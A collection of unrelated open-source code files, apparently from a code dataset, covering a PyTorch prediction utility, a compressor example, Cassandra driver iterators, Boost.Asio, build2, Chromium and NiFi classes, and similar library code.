out_size = train_set[0].ndata['label'].shape[1]
#prepare train, valid, and test dataloaders
train_loader = DataLoader(train_set, batch_size=batch_size, collate_fn=batcher(device), shuffle=True)
valid_loader = DataLoader(valid_set, batch_size=batch_size, collate_fn=batcher(device), shuffle=True)
test_loader = DataLoader(test_set, batch_size=batch_size, collate_fn=batcher(device), shuffle=True)
return train_loader, valid_loader, test_loader, etypes, in_size, out_size
| 1,314 |
739 | <reponame>Vertver/Crinkler<gh_stars>100-1000
// A minimal example that demonstrates how to use the Compressor library.
// The library currently doesn't provide any decompression functionality and
// there is no way to use the resulting compressed blocks directly with Crinkler,
// so the only practical use of the library is for size estimation. We imagine this
// might still be very helpful in some specific tooling scenarios.
// Tools could display compressed size information directly to users to help them
// optimize content. In some cases tools might even be able to use this information
// to drive domain-specific decisions about data representation and layout.
// Compression is split into a modeling phase and an actual compression phase.
// For size estimation, we recommend using the size estimates from the modeling phase
// instead of the compression phase. They are faster to obtain and provide fractional
// bit sizes, instead of sizes in whole bytes. The modeling phase doesn't account for
// redundancy introduced by hashing, but with reasonable values for /HASHSIZE and
// /HASHTRIES this redundancy is typically negligible.
#define _CRT_SECURE_NO_WARNINGS
#include "../Compressor/Compressor.h"
#include <cstdio>
// Optional progress update callback
void ProgressUpdateCallback(void* userData, int value, int max)
{
printf(".");
}
int main(int argc, const char* argv[])
{
if (argc != 2)
{
printf("Syntax: CompressorExample filename\n");
return 1;
}
// Open file from first command line argument
const char* filename = argv[1];
FILE* file = fopen(filename, "rb");
if (!file)
{
printf("Failed to open file '%s'\n", filename);
return 1;
}
// Read data from file
printf("Loading file '%s'\n", filename);
fseek(file, 0, SEEK_END);
int dataSize = ftell(file);
fseek(file, 0, SEEK_SET);
unsigned char* data = new unsigned char[dataSize];
fread(data, dataSize, 1, file);
fclose(file);
// Initialize compressor
// Needs to be called before any other call to the compressor
InitCompressor();
printf("Uncompressed size: %d bytes\n", dataSize);
// Calculate models for data
printf("Calculating models...");
unsigned char context[MAX_CONTEXT_LENGTH] = {}; // The MAX_CONTEXT_LENGTH bytes in the context window before data. They will not be compressed, but will be use for prediction.
int compressedSize = 0; // Resulting compressed size. BIT_PRECISION units per bit.
ModelList4k modelList = ApproximateModels4k(data, dataSize, context, COMPRESSION_SLOW, false, DEFAULT_BASEPROB, &compressedSize, ProgressUpdateCallback, nullptr);
printf("\nEstimated compressed size: %.3f bytes\n", compressedSize / float(BIT_PRECISION * 8));
printf("Selected models: ");
modelList.Print(stdout);
printf("\n");
// Do some transformation to the data.
printf("Transforming data\n");
for (int i = 0; i < dataSize / 8; i++) data[i] += 17;
// Use the set of models found earlier to estimate the size of the transformed data.
// Evaluating size using an existing set of models is much faster than calculating a new set of models with ApproximateModelsX.
// As long as the transformations are small, the size deltas seen from evaluating using a fixed set of models should
// be close to what you would see when recalculating the models from scratch.
// Reusing models allows for more rapid iteration by users or tools.
ModelList4k* modelLists[] = { &modelList };
int segmentSizes[] = { dataSize };
int transformedSize = EvaluateSize4k(data, 1, segmentSizes, nullptr, modelLists, DEFAULT_BASEPROB, false);
printf("Estimated compressed size of transformed data: %.3f bytes\n", transformedSize / float(BIT_PRECISION * 8));
delete[] data;
return 0;
} | 1,060 |
327 | <reponame>Meteo-Concept/cpp-driver<gh_stars>100-1000
/*
Copyright (c) DataStax, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "iterator.hpp"
#include "collection_iterator.hpp"
#include "external.hpp"
#include "map_iterator.hpp"
#include "result_iterator.hpp"
#include "row_iterator.hpp"
#include "user_type_field_iterator.hpp"
using namespace datastax;
using namespace datastax::internal::core;
extern "C" {
void cass_iterator_free(CassIterator* iterator) { delete iterator->from(); }
cass_bool_t cass_iterator_next(CassIterator* iterator) {
return static_cast<cass_bool_t>(iterator->from()->next());
}
CassIteratorType cass_iterator_type(CassIterator* iterator) { return iterator->type(); }
CassIterator* cass_iterator_from_result(const CassResult* result) {
return CassIterator::to(new ResultIterator(result));
}
CassIterator* cass_iterator_from_row(const CassRow* row) {
return CassIterator::to(new RowIterator(row));
}
CassIterator* cass_iterator_from_collection(const CassValue* value) {
if (value->is_null() || !value->is_collection()) {
return NULL;
}
return CassIterator::to(new CollectionIterator(value));
}
CassIterator* cass_iterator_from_tuple(const CassValue* value) {
if (value->is_null() || !value->is_tuple()) {
return NULL;
}
return CassIterator::to(new TupleIterator(value));
}
CassIterator* cass_iterator_from_map(const CassValue* value) {
if (value->is_null() || !value->is_map()) {
return NULL;
}
return CassIterator::to(new MapIterator(value));
}
CassIterator* cass_iterator_fields_from_user_type(const CassValue* value) {
if (value->is_null() || !value->is_user_type()) {
return NULL;
}
return CassIterator::to(new UserTypeFieldIterator(value));
}
CassError cass_iterator_get_user_type_field_name(const CassIterator* iterator, const char** name,
size_t* name_length) {
if (iterator->type() != CASS_ITERATOR_TYPE_USER_TYPE_FIELD) {
return CASS_ERROR_LIB_BAD_PARAMS;
}
StringRef field_name = static_cast<const UserTypeFieldIterator*>(iterator->from())->field_name();
*name = field_name.data();
*name_length = field_name.size();
return CASS_OK;
}
const CassValue* cass_iterator_get_user_type_field_value(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_USER_TYPE_FIELD) {
return NULL;
}
return CassValue::to(static_cast<const UserTypeFieldIterator*>(iterator->from())->field_value());
}
const CassRow* cass_iterator_get_row(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_RESULT) {
return NULL;
}
return CassRow::to(static_cast<const ResultIterator*>(iterator->from())->row());
}
const CassValue* cass_iterator_get_column(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_ROW) {
return NULL;
}
return CassValue::to(static_cast<const RowIterator*>(iterator->from())->column());
}
const CassValue* cass_iterator_get_value(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_COLLECTION &&
iterator->type() != CASS_ITERATOR_TYPE_TUPLE) {
return NULL;
}
return CassValue::to(static_cast<const ValueIterator*>(iterator->from())->value());
}
const CassValue* cass_iterator_get_map_key(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_MAP) {
return NULL;
}
return CassValue::to(static_cast<const MapIterator*>(iterator->from())->key());
}
const CassValue* cass_iterator_get_map_value(const CassIterator* iterator) {
if (iterator->type() != CASS_ITERATOR_TYPE_MAP) {
return NULL;
}
return CassValue::to(static_cast<const MapIterator*>(iterator->from())->value());
}
} // extern "C"
| 1,426 |
1,169 | // -*- mode: java; c-basic-offset: 2; -*-
// Copyright 2009-2011 Google, All Rights reserved
// Copyright 2011-2012 MIT, All rights reserved
// Released under the Apache License, Version 2.0
// http://www.apache.org/licenses/LICENSE-2.0
/**
* Classes for maintaining (but not creating) the component palette and the
* graphical respresentation of components in the current project. The name
* of the package stems from its origin in the
* <a href="http://code.google.com/p/simple/">Simple programming language
* implementation</href>, although not all of the code in this
* package or its subpackages is part of Simple.
*/
package com.google.appinventor.client.editor.simple;
| 185 |
1,354 | /* CMSIS-DAP Interface Firmware
* Copyright (c) 2009-2013 ARM Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "target_config.h"
// The file flash_blob.c must only be included in target.c
#include "flash_blob.c"
// target information
target_cfg_t target_device = {
.sectors_info = sectors_info,
.sector_info_length = (sizeof(sectors_info))/(sizeof(sector_info_t)),
.flash_regions[0].start = 0x00002000,
.flash_regions[0].end = 0x00151FFF,
.flash_regions[0].flags = kRegionIsDefault,
.flash_regions[0].flash_algo = (program_target_t *) &flash,
.ram_regions[0].start = 0x3FFF4000,
.ram_regions[0].end = 0x3FFFFFFF,
};
| 481 |
1,027 | // Copyright (c) 2015 GitHub, Inc.
// Use of this source code is governed by the MIT license that can be
// found in the LICENSE file.
#include "base/bind_helpers.h"
#include "brightray/browser/notification_delegate.h"
#include "content/public/browser/notification_event_dispatcher.h"
namespace brightray {
NotificationDelegate::NotificationDelegate(std::string notification_id)
: notification_id_(notification_id) {
}
void NotificationDelegate::NotificationDestroyed() {
delete this;
}
void NotificationDelegate::NotificationClick() {
content::NotificationEventDispatcher::GetInstance()
->DispatchNonPersistentClickEvent(notification_id_);
}
void NotificationDelegate::NotificationClosed() {
content::NotificationEventDispatcher::GetInstance()
->DispatchNonPersistentCloseEvent(notification_id_, base::DoNothing());
}
void NotificationDelegate::NotificationDisplayed() {
content::NotificationEventDispatcher::GetInstance()
->DispatchNonPersistentShowEvent(notification_id_);
}
} // namespace brightray
| 310 |
1,350 | <filename>sdk/cognitiveservices/ms-azure-cs-faceapi/src/main/java/com/microsoft/azure/cognitiveservices/vision/faceapi/models/Makeup.java
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
*/
package com.microsoft.azure.cognitiveservices.vision.faceapi.models;
import com.fasterxml.jackson.annotation.JsonProperty;
/**
* Properties describing present makeups on a given face.
*/
public class Makeup {
/**
* A boolean value describing whether eye makeup is present on a face.
*/
@JsonProperty(value = "eyeMakeup")
private boolean eyeMakeup;
/**
* A boolean value describing whether lip makeup is present on a face.
*/
@JsonProperty(value = "lipMakeup")
private boolean lipMakeup;
/**
* Get the eyeMakeup value.
*
* @return the eyeMakeup value
*/
public boolean eyeMakeup() {
return this.eyeMakeup;
}
/**
* Set the eyeMakeup value.
*
* @param eyeMakeup the eyeMakeup value to set
* @return the Makeup object itself.
*/
public Makeup withEyeMakeup(boolean eyeMakeup) {
this.eyeMakeup = eyeMakeup;
return this;
}
/**
* Get the lipMakeup value.
*
* @return the lipMakeup value
*/
public boolean lipMakeup() {
return this.lipMakeup;
}
/**
* Set the lipMakeup value.
*
* @param lipMakeup the lipMakeup value to set
* @return the Makeup object itself.
*/
public Makeup withLipMakeup(boolean lipMakeup) {
this.lipMakeup = lipMakeup;
return this;
}
}
| 667 |
588 | <reponame>fmilano/CppMicroServices
//
// detail/win_fd_set_adapter.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2020 <NAME> (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef BOOST_ASIO_DETAIL_WIN_FD_SET_ADAPTER_HPP
#define BOOST_ASIO_DETAIL_WIN_FD_SET_ADAPTER_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include <boost/asio/detail/config.hpp>
#if defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
#include <boost/asio/detail/noncopyable.hpp>
#include <boost/asio/detail/reactor_op_queue.hpp>
#include <boost/asio/detail/socket_types.hpp>
#include <boost/asio/detail/push_options.hpp>
namespace boost {
namespace asio {
namespace detail {
// Adapts the FD_SET type to meet the Descriptor_Set concept's requirements.
class win_fd_set_adapter : noncopyable
{
public:
enum { default_fd_set_size = 1024 };
win_fd_set_adapter()
: capacity_(default_fd_set_size),
max_descriptor_(invalid_socket)
{
fd_set_ = static_cast<win_fd_set*>(::operator new(
sizeof(win_fd_set) - sizeof(SOCKET)
+ sizeof(SOCKET) * (capacity_)));
fd_set_->fd_count = 0;
}
~win_fd_set_adapter()
{
::operator delete(fd_set_);
}
void reset()
{
fd_set_->fd_count = 0;
max_descriptor_ = invalid_socket;
}
bool set(socket_type descriptor)
{
for (u_int i = 0; i < fd_set_->fd_count; ++i)
if (fd_set_->fd_array[i] == descriptor)
return true;
reserve(fd_set_->fd_count + 1);
fd_set_->fd_array[fd_set_->fd_count++] = descriptor;
return true;
}
void set(reactor_op_queue<socket_type>& operations, op_queue<operation>&)
{
reactor_op_queue<socket_type>::iterator i = operations.begin();
while (i != operations.end())
{
reactor_op_queue<socket_type>::iterator op_iter = i++;
reserve(fd_set_->fd_count + 1);
fd_set_->fd_array[fd_set_->fd_count++] = op_iter->first;
}
}
bool is_set(socket_type descriptor) const
{
return !!__WSAFDIsSet(descriptor,
const_cast<fd_set*>(reinterpret_cast<const fd_set*>(fd_set_)));
}
operator fd_set*()
{
return reinterpret_cast<fd_set*>(fd_set_);
}
socket_type max_descriptor() const
{
return max_descriptor_;
}
void perform(reactor_op_queue<socket_type>& operations,
op_queue<operation>& ops) const
{
for (u_int i = 0; i < fd_set_->fd_count; ++i)
operations.perform_operations(fd_set_->fd_array[i], ops);
}
private:
// This structure is defined to be compatible with the Windows API fd_set
// structure, but without being dependent on the value of FD_SETSIZE. We use
// the "struct hack" to allow the number of descriptors to be varied at
// runtime.
struct win_fd_set
{
u_int fd_count;
SOCKET fd_array[1];
};
// Increase the fd_set_ capacity to at least the specified number of elements.
void reserve(u_int n)
{
if (n <= capacity_)
return;
u_int new_capacity = capacity_ + capacity_ / 2;
if (new_capacity < n)
new_capacity = n;
win_fd_set* new_fd_set = static_cast<win_fd_set*>(::operator new(
sizeof(win_fd_set) - sizeof(SOCKET)
+ sizeof(SOCKET) * (new_capacity)));
new_fd_set->fd_count = fd_set_->fd_count;
for (u_int i = 0; i < fd_set_->fd_count; ++i)
new_fd_set->fd_array[i] = fd_set_->fd_array[i];
::operator delete(fd_set_);
fd_set_ = new_fd_set;
capacity_ = new_capacity;
}
win_fd_set* fd_set_;
u_int capacity_;
socket_type max_descriptor_;
};
} // namespace detail
} // namespace asio
} // namespace boost
#include <boost/asio/detail/pop_options.hpp>
#endif // defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
#endif // BOOST_ASIO_DETAIL_WIN_FD_SET_ADAPTER_HPP
| 1,655 |
336 | <reponame>dolphintear/pytorch-kaggle-starter
import os
import json
import time
import scipy
import numpy as np
import pandas as pd
import bcolz
import random
from io import StringIO
from torch.autograd import Variable
import cv2
import h5py
import config as cfg
import constants as c
from .pred_constants import *
from . import pred_builder
import utils.general
import utils.files
import models.utils
import clients.s3_client as s3
from datasets import data_loaders
from datasets import metadata
from metrics import metric_utils
from experiments import exp_utils
from datasets.datasets import FileDataset
def predict_batch(net, inputs):
v = Variable(inputs.cuda(), volatile=True)
return net(v).data.cpu().numpy()
def get_probabilities(model, loader):
model.eval()
return np.vstack(predict_batch(model, data[0]) for data in loader)
def get_predictions(probs, thresholds):
preds = np.copy(probs)
preds[preds >= thresholds] = 1
preds[preds < thresholds] = 0
return preds.astype('uint8')
def get_mask_predictions(model, loader, thresholds, W=None, H=None):
probs = get_probabilities(model, loader)
preds = get_predictions(probs, thresholds)
if W is not None and H is not None:
preds = resize_batch(preds, W, H)
return preds
def get_mask_probabilities(model, loader, W=None, H=None):
model.eval()
probs = get_probabilities(model, loader)
if W is not None and H is not None:
probs = resize_batch(probs, W, H)
return probs
def resize_batch(pred_batch, W=None, H=None):
preds = []
for i in range(len(pred_batch)):
arr = resize_arr(pred_batch[i], W, H)
preds.append(arr)
return np.stack(preds)
def resize_arr(arr, W, H, mode=cv2.INTER_LINEAR):
"""
We assume shape is (C, H, W) like tensor
# arr = scipy.misc.imresize(arr.squeeze(), shape, interp='bilinear', mode=None)
To shrink:
- INTER_AREA
To enlarge:
- INTER_CUBIC (slow, best quality)
- INTER_LINEAR (faster, good quality).
"""
arr = arr.transpose(1,2,0)
arr = cv2.resize(arr, (W, H), mode)
if len(arr.shape) < 3:
arr = np.expand_dims(arr, 2)
arr = arr.transpose(2,0,1)
return arr
def get_targets(loader):
targets = None
for data in loader:
if targets is None:
shape = list(data[1].size())
shape[0] = 0
targets = np.empty(shape)
target = data[1]
if len(target.size()) == 1:
target = target.view(-1,1)
target = target.numpy()
targets = np.vstack([targets, target])
return targets
def save_pred(fpath, pred_arr, meta_dict=None):
bc = bcolz.carray(pred_arr, mode='w', rootdir=fpath,
cparams=bcolz.cparams(clevel=9, cname='lz4'))
if meta_dict is not None:
bc.attrs['meta'] = meta_dict
bc.flush()
return bc
def append_to_pred(bc_arr, pred_arr, meta_dict=None):
bc_arr.append(pred_arr)
if meta_dict is not None:
bc_arr.attrs['meta'] = meta_dict
bc_arr.flush()
return bc_arr
def append_pred_to_file(fpath, pred_arr, meta_dict=None):
bc_arr = bcolz.open(rootdir=fpath)
bc_arr.append(pred_arr)
if meta_dict is not None:
bc_arr.attrs['meta'] = meta_dict
bc_arr.flush()
return bc_arr
def save_or_append_pred_to_file(fpath, pred_arr, meta_dict=None):
if os.path.exists(fpath):
return append_pred_to_file(fpath, pred_arr, meta_dict)
else:
return save_pred(fpath, pred_arr, meta_dict)
def load_pred(fpath, numpy=False):
bc = bcolz.open(rootdir=fpath)
if numpy:
return np.array(bc)
return bc
def get_local_pred_fpath(name):
return os.path.join(cfg.PATHS['predictions'], name+c.PRED_FILE_EXT)
def list_local_preds(dset=c.TEST, fnames_only=False):
pattern = '_' + dset + c.PRED_FILE_EXT
_, fpaths = utils.files.get_matching_files_in_dir(
cfg.PATHS['predictions'], pattern)
if fnames_only:
return [utils.files.get_fname_from_fpath(f) for f in fpaths]
return fpaths
def ensemble_with_method(arr, method):
if method == c.MEAN:
return np.mean(arr, axis=0)
elif method == c.GMEAN:
return scipy.stats.mstats.gmean(arr, axis=0)
elif method == c.VOTE:
return scipy.stats.mode(arr, axis=0)[0][0]
raise Exception("Operation not found")
def get_prediction_fpath(basename, dset):
fname = '{:s}_{:s}'.format(basename, dset + c.PRED_FILE_EXT)
return os.path.join(cfg.PATHS['predictions'], fname)
# refactor notebook helpers
def build_pred_df_from_dir(dir_path):
fpaths, _ = utils.files.get_paths_to_files(dir_path)
summary = []
for f in fpaths:
if c.PRED_FILE_EXT in f:
pred = load_pred(f)
summary_dict = build_pred_summary_dict(pred)
summary.append(summary_dict)
return pd.DataFrame(summary)
def get_pred_summary_from_dicts(dicts):
summary = []
for d in dicts:
summary.append(build_pred_summary_dict(d))
return pd.DataFrame(summary)
def build_pred_summary_dict(pred):
meta = pred['meta']
return {
'id': pred.get_id(),
'name': pred.name,
'pred_type': pred.pred_type,
'dset': meta['dset'],
c.LOSS : meta['scores'][c.LOSS],
c.SCORE : meta['scores'][c.SCORE],
'threshold' : meta['thresholds'],
'created': meta['created'],
'fpath': get_local_pred_fpath(pred.name)
}
def get_clean_tta_str(tta):
STRIP = [
'torchvision.transforms.',
'torchsample.tensor_transforms.',
'torchsample.affine_transforms.',
'torchsample.transforms.tensor_transforms.',
'torchsample.transforms.affine_transforms.',
'object at ',
'<', '>',
]
str_ = str(tta.transforms)
for s in STRIP:
str_ = str_.replace(s,'')
return str_ | 2,591 |
356 | <filename>proctor-pipet/proctor-pipet-core/src/test/java/com/indeed/proctor/pipet/core/model/TestJsonResult.java
package com.indeed.proctor.pipet.core.model;
import com.google.common.collect.ImmutableMap;
import com.indeed.proctor.common.ProctorResult;
import com.indeed.proctor.common.model.ConsumableTestDefinition;
import com.indeed.proctor.common.model.TestBucket;
import org.junit.Test;
import java.util.Map;
import static java.util.Collections.emptyMap;
import static org.assertj.core.api.Assertions.assertThat;
public class TestJsonResult {
@Test
public void testGenerateJsonBuckets() {
final Map<String, ConsumableTestDefinition> testDefinitions = ImmutableMap.of("control", stubDefinitionWithVersion("vControl"));
final Map<String, TestBucket> buckets = ImmutableMap.of("control", new TestBucket("fooname", -1, "foodesc"));
ProctorResult result = new ProctorResult("0", buckets, emptyMap(), testDefinitions);
assertThat(JsonResult.generateJsonBuckets(result))
.hasSize(1)
.containsKey("control")
.hasEntrySatisfying("control", jsonTestBucket -> {
assertThat(jsonTestBucket.getVersion()).isEqualTo("vControl");
});
result = new ProctorResult("0", emptyMap(), emptyMap(), emptyMap());
assertThat(JsonResult.generateJsonBuckets(result)).isEqualTo(emptyMap());
}
private ConsumableTestDefinition stubDefinitionWithVersion(final String version) {
final ConsumableTestDefinition testDefinition = new ConsumableTestDefinition();
testDefinition.setVersion(version);
return testDefinition;
}
}
| 631 |
422 | // file : libbuild2/dist/init.cxx -*- C++ -*-
// license : MIT; see accompanying LICENSE file
#include <libbuild2/dist/init.hxx>
#include <libbuild2/scope.hxx>
#include <libbuild2/file.hxx>
#include <libbuild2/diagnostics.hxx>
#include <libbuild2/config/utility.hxx>
#include <libbuild2/dist/rule.hxx>
#include <libbuild2/dist/module.hxx>
#include <libbuild2/dist/operation.hxx>
using namespace std;
using namespace butl;
namespace build2
{
namespace dist
{
static const rule rule_;
void
boot (scope& rs, const location&, module_boot_extra& extra)
{
tracer trace ("dist::boot");
l5 ([&]{trace << "for " << rs;});
// Enter module variables. Do it during boot in case they get assigned
// in bootstrap.build (which is customary for, e.g., dist.package).
//
auto& vp (rs.var_pool ());
// config.dist.archives is a list of archive extensions (e.g., zip,
// tar.gz) that can be optionally prefixed with a directory. If it is
// relative, then it is prefixed with config.dist.root. Otherwise, the
// archive is written to the absolute location.
//
// config.dist.checksums is a list of archive checksum extensions (e.g.,
// sha1, sha256) that can also be optionally prefixed with a directory
// with the same semantics as config.dist.archives. If the directory is
// absent, then the checksum file is written into the same directory as
// the corresponding archive.
//
vp.insert<abs_dir_path> ("config.dist.root");
vp.insert<paths> ("config.dist.archives");
vp.insert<paths> ("config.dist.checksums");
vp.insert<path> ("config.dist.cmd");
// Allow distribution of uncommitted projects. This is enforced by the
// version module.
//
vp.insert<bool> ("config.dist.uncommitted");
// The bootstrap distribution mode. Note that it can only be specified
// as a global override and is thus marked as unsaved in init(). Unlike
// the normal load distribution mode, we can do in-source and multiple
// projects at once.
//
// Note also that other config.dist.* variables can only be specified as
// overrides (since config.build is not loaded) but do not have to be
// global.
//
auto& v_d_b (vp.insert<bool> ("config.dist.bootstrap"));
vp.insert<dir_path> ("dist.root");
vp.insert<process_path> ("dist.cmd");
vp.insert<paths> ("dist.archives");
vp.insert<paths> ("dist.checksums");
vp.insert<bool> ("dist", variable_visibility::target); // Flag.
// Project's package name. Note: if set, must be in bootstrap.build.
//
auto& v_d_p (vp.insert<string> ("dist.package"));
// See if we need to use the bootstrap mode.
//
bool bm (cast_false<bool> (rs.global_scope ()[v_d_b]));
// Register the meta-operation.
//
rs.insert_meta_operation (dist_id,
bm ? mo_dist_bootstrap : mo_dist_load);
// Create the module.
//
extra.set_module (new module (v_d_p));
}
// This code is reused by the bootstrap mode.
//
void
init_config (scope& rs)
{
// Note that we don't use any defaults for root -- the location
// must be explicitly specified or we will complain if and when
// we try to dist.
//
using config::lookup_config;
using config::specified_config;
// Note: ignore config.dist.bootstrap.
//
bool s (specified_config (rs, "dist", {"bootstrap"}));
// dist.root
//
{
value& v (rs.assign ("dist.root"));
if (s)
{
if (lookup l = lookup_config (rs, "config.dist.root", nullptr))
v = cast<dir_path> (l); // Strip abs_dir_path.
}
}
// dist.cmd
//
{
value& v (rs.assign<process_path> ("dist.cmd"));
if (s)
{
if (lookup l = lookup_config (rs,
"config.dist.cmd",
path ("install")))
v = run_search (cast<path> (l), true);
}
}
// dist.archives
// dist.checksums
//
{
value& a (rs.assign ("dist.archives"));
value& c (rs.assign ("dist.checksums"));
if (s)
{
if (lookup l = lookup_config (rs, "config.dist.archives", nullptr))
a = *l;
if (lookup l = lookup_config (rs, "config.dist.checksums", nullptr))
{
c = *l;
if (!c.empty () && (!a || a.empty ()))
fail << "config.dist.checksums specified without "
<< "config.dist.archives";
}
}
}
// dist.uncommitted
//
// Omit it from the configuration unless specified.
//
lookup_config (rs, "config.dist.uncommitted");
}
bool
init (scope& rs,
scope&,
const location& l,
bool first,
bool,
module_init_extra&)
{
tracer trace ("dist::init");
if (!first)
{
warn (l) << "multiple dist module initializations";
return true;
}
l5 ([&]{trace << "for " << rs;});
auto& vp (rs.var_pool ());
// Register our wildcard rule. Do it explicitly for the alias to prevent
// something like insert<target>(dist_id, test_id) taking precedence.
//
rs.insert_rule<target> (dist_id, 0, "dist", rule_);
rs.insert_rule<alias> (dist_id, 0, "dist.alias", rule_); //@@ outer?
// Configuration.
//
// Adjust module priority so that the config.dist.* values are saved at
// the end of config.build.
//
// Note: must be done regardless of specified_config() result due to
// the unsave_variable() call below.
//
config::save_module (rs, "dist", INT32_MAX);
init_config (rs);
// dist.bootstrap
//
{
auto& v (*vp.find ("config.dist.bootstrap"));
// If specified, verify it is a global override.
//
if (lookup l = rs[v])
{
if (!l.belongs (rs.global_scope ()))
fail << "config.dist.bootstrap must be a global override" <<
info << "specify !config.dist.bootstrap=...";
}
config::unsave_variable (rs, v);
}
// Environment.
//
// Preparing a distribution may involve executing the following
// programs:
//
// install
//
// While some install implementations recognize environment variables,
// none of them affect our invocations (see the install module for
// analysis).
//
// *sum programs (md5sum, sha1sum, sha256sum, etc)
//
// These do not recognize any environment variables (at least the
// GNU coreutils versions).
//
//
// tar, zip, gzip, xz (and whatever tar may invoke)
//
// This is a can of worms that we currently don't touch (perhaps this
// will sort itself out if/when we switch to libarchive).
return true;
}
static const module_functions mod_functions[] =
{
{"dist", &boot, &init},
{nullptr, nullptr, nullptr}
};
const module_functions*
build2_dist_load ()
{
return mod_functions;
}
}
}
| 3,252 |
14,668 | <gh_stars>1000+
// Copyright (c) 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_BROWSER_SITE_INSTANCE_GROUP_H_
#define CONTENT_BROWSER_SITE_INSTANCE_GROUP_H_
#include "base/memory/ref_counted.h"
#include "base/types/id_type.h"
namespace content {
using SiteInstanceGroupId = base::IdType32<class SiteInstanceGroupIdTag>;
// A SiteInstanceGroup represents one view of a browsing context group's frame
// trees within a renderer process. It provides a tuning knob, allowing the
// number of groups to vary (for process allocation and
// painting/input/scheduling decisions) without affecting the number of security
// principals that are tracked with SiteInstances.
//
// Similar to layers composing an image from many colors, a set of
// SiteInstanceGroups compose a web page from many renderer processes. Each
// group represents one renderer process' view of a browsing context group,
// containing both local frames (organized into widgets of contiguous frames)
// and proxies for frames in other groups or processes.
//
// The documents in the local frames of a group are organized into
// SiteInstances, representing an atomic group of similar origin documents that
// can access each other directly. A group contains all the documents of one or
// more SiteInstances, all belonging to the same browsing context group (aka
// BrowsingInstance). Each browsing context group has its own set of
// SiteInstanceGroups.
//
// A SiteInstanceGroup is used for generating painted surfaces, directing input
// events, and facilitating communication between frames in different groups.
// The browser process coordinates activities across groups to produce a full
// web page.
//
// SiteInstanceGroups are refcounted by the SiteInstances using them, allowing
// for flexible policies. Currently, each SiteInstanceGroup has exactly one
// SiteInstance. See crbug.com/1195535.
class SiteInstanceGroup : public base::RefCounted<SiteInstanceGroup> {
public:
SiteInstanceGroup();
SiteInstanceGroup(const SiteInstanceGroup&) = delete;
SiteInstanceGroup& operator=(const SiteInstanceGroup&) = delete;
SiteInstanceGroupId GetId();
private:
friend class RefCounted<SiteInstanceGroup>;
~SiteInstanceGroup();
// A unique ID for this SiteInstanceGroup.
SiteInstanceGroupId id_;
};
} // namespace content
#endif // CONTENT_BROWSER_SITE_INSTANCE_GROUP_H_
| 636 |
3,212 | <reponame>westdart/nifi<gh_stars>1000+
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.serialization.record.type;
import org.apache.nifi.serialization.record.DataType;
import org.apache.nifi.serialization.record.RecordFieldType;
import java.util.Objects;
public class MapDataType extends DataType {
public static final boolean DEFAULT_NULLABLE = false;
private final DataType valueType;
private final boolean valuesNullable;
public MapDataType(final DataType elementType) {
this(elementType, DEFAULT_NULLABLE);
}
public MapDataType(final DataType elementType, boolean valuesNullable) {
super(RecordFieldType.MAP, null);
this.valueType = elementType;
this.valuesNullable = valuesNullable;
}
public DataType getValueType() {
return valueType;
}
public boolean isValuesNullable() {
return valuesNullable;
}
@Override
public RecordFieldType getFieldType() {
return RecordFieldType.MAP;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof MapDataType)) return false;
if (!super.equals(o)) return false;
MapDataType that = (MapDataType) o;
return valuesNullable == that.valuesNullable
&& Objects.equals(getValueType(), that.getValueType());
}
@Override
public int hashCode() {
return Objects.hash(super.hashCode(), getValueType(), valuesNullable);
}
@Override
public String toString() {
return "MAP<" + valueType + ">";
}
}
| 780 |
1,261 | <gh_stars>1000+
/**
Onion HTTP server library
Copyright (C) 2010-2018 <NAME> and others
This library is free software; you can redistribute it and/or
modify it under the terms of, at your choice:
a. the Apache License Version 2.0.
b. the GNU General Public License as published by the
Free Software Foundation; either version 2.0 of the License,
or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of both licenses, if not see
<http://www.gnu.org/licenses/> and
